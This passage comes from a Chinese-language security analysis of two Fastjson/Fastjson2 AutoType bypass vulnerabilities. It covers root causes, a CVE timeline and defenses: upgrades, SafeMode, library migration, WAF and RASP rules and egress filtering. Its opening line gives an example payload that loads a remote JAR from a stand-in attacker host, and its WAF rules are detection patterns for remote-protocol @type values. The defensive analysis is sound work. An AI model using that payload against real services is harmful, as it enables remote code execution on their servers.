当 typeName 为 jar:http://attacker.com/evil.jar!/EvilClass 时,getResourceAsStream 会通过 jar: 协议下载远程 JAR 并探测类资源,探测过程中触发类加载和静态代码块执行。
7.2 详细对比
| 对比维度 | QVD-2026-45876(Fastjson2) | CVE-2026-16723(Fastjson 1.x) |
|---|---|---|
| 影响库 | Fastjson2 | Fastjson 1.x |
| 影响版本 | ≤ 2.0.62 | 1.2.68 - 1.2.83 |
| 修复版本 | 2.0.63+ | 1.2.84+ |
| CVSS | 9.8 | 9.0 |
| 触发条件 | 默认配置 | 默认配置 |
| 需要 SupportAutoType | 否 | 否 |
| 需要 SafeMode 关闭 | N/A(不受 SafeMode 影响) | 是(SafeMode 可阻止) |
| 绕过机制 | FNV-1a 哈希碰撞绕过白名单 | getResourceAsStream 资源探测副作用 |
| 远程加载 | ContextClassLoader + jar: 协议 |
getResourceAsStream + jar: 协议 |
| Gadget 依赖 | 无(Gadget-free) | 无(Gadget-free) |
| 触发位置 | checkAutoType 白名单检查 |
checkAutoType 资源探测路径 |
| 在野利用 | 已确认 | 已确认 |
| 根因类型 | 哈希校验设计缺陷 | 资源探测副作用设计缺陷 |
7.3 根因对比分析
两个漏洞虽然都利用了 jar: 协议远程加载,但绕过 AutoType 检查的机制完全不同:
Fastjson2(QVD-2026-45876)的根因是哈希校验的信任过度——Fastjson2 完全信任 FNV-1a 哈希结果作为类型安全判断依据,不校验类型名称明文。这是一个加密学层面的设计缺陷(使用非加密哈希做安全决策)。
Fastjson 1.x(CVE-2026-16723)的根因是资源探测的意外副作用——checkAutoType 中用 getResourceAsStream 探测类是否存在,本意只是检查而非加载,但 jar: 协议的 getResourceAsStream 实现会触发远程下载甚至类初始化。这是一个副作用控制的设计缺陷。
两者的共同教训:反序列化框架的 AutoType 防御不应依赖单一检查点,更不应在检查过程中产生可能导致类加载的副作用。
八、Fastjson 漏洞史时间线
Fastjson 从诞生至今,安全漏洞层出不穷。以下是其主要 CVE 时间线:
| 时间 | 版本 | CVE/编号 | 漏洞类型 | CVSS | 关键特征 |
|---|---|---|---|---|---|
| 2017 | ≤1.2.24 | CVE-2017-18349 | AutoType RCE | 9.8 | 无任何 AutoType 限制,直接 @type + JNDI |
| 2019 | 1.2.47 | CVE-2019-16163 | AutoType 绕过 | 9.8 | 缓存污染绕过黑名单 |
| 2019 | 1.2.47 | - | AutoType 绕过 | 9.8 | java.lang.Class 缓存投毒 |
| 2020 | 1.2.68 | - | SafeMode 引入 | - | 引入 safeMode 全局关闭 AutoType |
| 2020 | 1.2.68-1.2.80 | 多个 | expectClass 绕过 | 9.0 | Throwable/AutoCloseable 二次解析 |
| 2022 | 1.2.83 | - | Gadget-free RCE | 9.0 | expectClass + 资源 URL 劫持 |
| 2022 | 2.0.x | - | Fastjson2 发布 | - | 全面重构 AutoType 防御 |
| 2024 | 2.0.50+ | 多个 | 各种绕过 | 7.5-9.0 | 持续的攻防对抗 |
| 2026 | 1.2.68-1.2.83 | CVE-2026-16723 | 资源探测 RCE | 9.0 | getResourceAsStream 副作用 |
| 2026 | ≤2.0.62 | QVD-2026-45876 | FNV-1a 碰撞 RCE | 9.8 | 哈希碰撞绕过白名单 |
8.1 防御演进阶段
Fastjson 安全防御演进时间线:
2017 ──────────────────────────────────────────── 2026
│ │
├─ 蛮荒期 (≤1.2.24) 无 AutoType 限制 │
│ └─ 直接 @type + JNDI 注入 │
│ │
├─ 黑名单期 (1.2.25-1.2.47) denyList + checkAutoType
│ └─ L前缀绕过 → 缓存污染 → 黑名单哈希化 │
│ │
├─ SafeMode期 (1.2.68-1.2.83) safeMode 全局关闭 │
│ └─ expectClass 绕过 → 资源URL劫持 → 资源探测 │
│ │
├─ 重构期 (Fastjson2 2.0.x) 全面重构 AutoType │
│ └─ FNV-1a 白名单 → 哈希碰撞绕过 │
│ │
└─ 当前 (2026) QVD-2026-45876 │
└─ 哈希碰撞 + ContextClassLoader 远程加载 │
8.2 反复失守的根本原因
Fastjson 漏洞频发的根本原因在于其架构设计层面的安全债务:
-
@type机制的本质矛盾:允许用户控制反序列化类型,这与"输入不可信"的安全原则根本冲突。任何基于黑名单/白名单的防御都只是延迟而非消除风险。 -
哈希黑/白名单的脆弱性:使用非加密哈希(FNV-1a)做安全决策,天然存在碰撞风险。黑名单只能覆盖已知威胁,白名单的哈希校验可被碰撞绕过。
-
JDK 类加载的副作用:Java 的
Class.forName、getResourceAsStream、URLClassLoader等 API 在类加载过程中会触发网络请求、文件 I/O 等副作用。反序列化框架难以完全隔离这些副作用。 -
Gadget 链的不可穷尽性:JDK 和常用库中存在大量可被组合利用的类,新的 Gadget 链不断被发现,黑名单永远无法覆盖所有情况。
九、防御方案
9.1 版本升级(首要措施)
<!-- 升级到 Fastjson2 2.0.63+ -->
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.63</version> <!-- ★ 修复版本 ★ -->
</dependency>
<!-- Fastjson 1.x 升级到 1.2.84+ -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.84</version> <!-- ★ 修复版本 ★ -->
</dependency>
2.0.63 的修复措施:
- 白名单检查增加类型名称明文校验,不仅依赖哈希值
- 对
jar:协议 URL 类型的@type值进行显式拦截 checkAutoType中禁止 ContextClassLoader 加载远程资源
9.2 SafeMode(纵深防御)
即使升级到修复版本,也建议开启 SafeMode 作为纵深防御:
// Fastjson2 开启 SafeMode
JSONFactory.getDefaultObjectReaderContext()
.setEnabled(JSONReader.Feature.SupportAutoType, false);
// 或全局配置
System.setProperty("fastjson2.parser.autoTypeSupport", "false");
// Fastjson 1.x 开启 SafeMode
ParserConfig.getGlobalInstance().setSafeMode(true);
// JVM 参数: -Dfastjson.parser.safeMode=true
SafeMode 会完全禁用 AutoType,即使存在未知绕过也无法通过 @type 加载任意类。但需注意:开启 SafeMode 后,依赖 @type 多态反序列化的功能将失效,需评估业务影响。
9.3 迁移到 Jackson / Gson(终极方案)
Fastjson 的安全历史表明,@type 机制是漏洞的根源。彻底的解决方案是迁移到不默认支持类型自省的 JSON 库:
迁移到 Jackson:
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.17.0</version>
</dependency>
// Jackson 默认不启用类型自省
ObjectMapper mapper = new ObjectMapper();
// 如果需要多态反序列化, 显式启用并使用白名单
mapper.activateDefaultTyping(
BasicPolymorphicTypeValidator.builder()
.allowIfBaseType("com.mycompany.") // 仅允许自己的包
.build(),
ObjectMapper.DefaultTyping.NON_FINAL
);
迁移到 Gson:
<dependency>
<groupId>com.google.code.gson</groupId>
<artifactId>gson</artifactId>
<version>2.11.0</version>
</dependency>
// Gson 完全不支持 @type 自省, 天然免疫此类漏洞
Gson gson = new Gson();
MyObject obj = gson.fromJson(json, MyObject.class);
9.4 WAF 规则
# ModSecurity 规则: 拦截含 jar: 协议的 @type
SecRule REQUEST_BODY "@rx [\"']@type[\"']\s*:\s*[\"']jar:" \
"id:100010,phase:2,deny,status:403,\
msg:'Fastjson jar: protocol AutoType bypass attempt',\
log,auditlog,severity:CRITICAL"
# 拦截所有含 @type 的 JSON(严格模式)
SecRule REQUEST_BODY "@rx [\"']@type[\"']\s*:" \
"id:100011,phase:2,deny,status:403,\
msg:'JSON @type field detected',\
log,auditlog,severity:HIGH"
# 拦截含远程 URL 的 @type
SecRule REQUEST_BODY "@rx [\"']@type[\"']\s*:\s*[\"'](https?|jar|ldap|rmi):" \
"id:100012,phase:2,deny,status:403,\
msg:'Remote protocol in @type field',\
log,auditlog,severity:CRITICAL"
-- OpenResty WAF 规则
local body = ngx.req.get_body_data()
if body then
-- 检测 @type 字段
if body:match('"@type"%s*:%s*"') then
-- 检测危险协议
if body:match('"@type"%s*:%s*"(jar:|http:|https:|ldap:|rmi:)') then
ngx.log(ngx.WARN, "Fastjson AutoType bypass attempt detected")
ngx.exit(403)
end
end
end
9.5 RASP 运行时防护
通过 RASP(Runtime Application Self-Protection)在运行时拦截危险类加载:
// RASP 钩子: 拦截 Class.forName 的危险调用
public class ClassForNameHook {
public static void checkBefore(String className, boolean initialize,
ClassLoader loader) {
if (className != null && (
className.startsWith("jar:") ||
className.startsWith("http:") ||
className.startsWith("https:")
)) {
throw new SecurityException(
"Blocked remote class loading: " + className
);
}
}
}
9.6 防御措施优先级
| 优先级 | 措施 | 效果 | 实施难度 | 业务影响 |
|---|---|---|---|---|
| P0 | 升级 Fastjson2 2.0.63+ | 修复漏洞 | 低 | 无 |
| P0 | 升级 Fastjson 1.x 1.2.84+ | 修复漏洞 | 低 | 无 |
| P1 | 开启 SafeMode | 纵深防御 | 低 | 可能影响多态功能 |
| P1 | WAF 规则拦截 jar: 协议 |
阻断利用 | 低 | 极小 |
| P2 | 迁移 Jackson/Gson | 根除风险 | 高 | 需重构代码 |
| P2 | RASP 运行时防护 | 深度防御 | 中 | 极小 |
| P3 | 禁用出网(网络隔离) | 阻断远程加载 | 中 | 需评估业务出网需求 |
9.7 网络隔离建议
由于该漏洞的 RCE 依赖远程 JAR 下载,限制应用服务器出网是最有效的网络层防御:
# iptables 规则: 禁止应用服务器主动出站连接
# 仅允许必要的白名单目标
iptables -A OUTPUT -m owner --uid-owner tomcat -j DROP
# 允许访问数据库
iptables -A OUTPUT -m owner --uid-owner tomcat \
-d DB_IP -p tcp --dport 3306 -j ACCEPT
# 允许访问内部 API
iptables -A OUTPUT -m owner --uid-owner tomcat \
-d INTERNAL_API_IP -p tcp --dport 8080 -j ACCEPT
即使存在未知的 AutoType 绕过,无法出网也就无法下载远程恶意 JAR,将 RCE 降级为 DoS 或信息泄露。
十、总结与反思
10.1 技术启示
-
非加密哈希不应用于安全决策:FNV-1a 是为哈希表设计的快速哈希函数,不具备抗碰撞性。将其用于安全白名单判断是根本性的设计缺陷。安全敏感场景应使用 SHA-256 等加密哈希,或直接进行字符串明文比对。
-
白名单优于黑名单,但白名单本身也需要校验:Fastjson2 从黑名单转向白名单是正确方向,但白名单的哈希校验可被碰撞绕过,使其形同虚设。白名单应同时校验哈希和明文。
-
检查过程中的副作用是致命的:
checkAutoType中的getResourceAsStream和Class.forName都可能在检查阶段触发类加载,将"检查"变成"执行"。安全检查必须是纯函数,不产生任何副作用。 -
@type机制的本质不可修复性:只要允许用户控制反序列化类型,就存在被绕过的可能。Fastjson 十年的攻防历史证明,修补单个绕过只是打地鼠。终极解决方案是迁移到不默认支持类型自省的 JSON 库。 -
Gadget-free 是最危险的形态:本漏洞和 CVE-2026-16723 都是 Gadget-free 的——不需要任何第三方依赖,仅用 JDK 内置类即可完成攻击。这意味着攻击面覆盖所有使用受影响版本的应用,而非仅限特定依赖组合。
10.2 对企业的建议
- 立即排查:全局搜索项目中是否使用 Fastjson/Fastjson2,确认版本
- 优先升级:升级到修复版本(Fastjson2 2.0.63+,Fastjson 1.x 1.2.84+)
- 开启 SafeMode:作为纵深防御,即使升级后也建议开启
- 规划迁移:制定长期迁移计划,将 Fastjson 替换为 Jackson 或 Gson
- 网络隔离:限制应用服务器出网,降低 RCE 风险
- WAF 覆盖:部署 WAF 规则拦截
@type和jar:协议 - SCA 扫描:将 Fastjson 版本检查纳入 CI/CD 的软件成分分析(SCA)流程
10.3 对框架设计者的警示
Fastjson 的十年漏洞史为所有序列化框架设计者提供了深刻教训:
- 安全不是特性,是架构:
@type自省机制从设计之初就埋下了安全隐患,后续所有的黑名单、白名单、SafeMode 都是打补丁 - 最小权限原则:反序列化框架默认不应允许加载任意类型,需要多态时应由开发者显式声明允许的类型范围
- 检查与执行分离:安全检查代码路径中绝不能包含可能导致代码执行的 API 调用
- 加密学正确使用:了解加密哈希与非加密哈希的区别,在安全场景使用正确的工具
免责声明
本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。
浙公网安备 33010602011771号